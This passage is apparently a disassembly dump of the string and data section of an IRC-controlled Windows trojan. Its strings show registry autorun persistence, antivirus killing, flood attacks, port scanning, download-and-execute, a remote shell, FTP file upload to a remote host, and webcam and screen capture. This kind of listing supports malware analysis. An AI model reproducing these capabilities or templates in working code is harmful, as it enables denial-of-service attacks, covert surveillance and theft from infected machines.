'#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd 0 dd offset dword_43D128 dd offset aAdministrato_0 ; "administrator" align 10h dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:00429228o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429548: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_429998: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 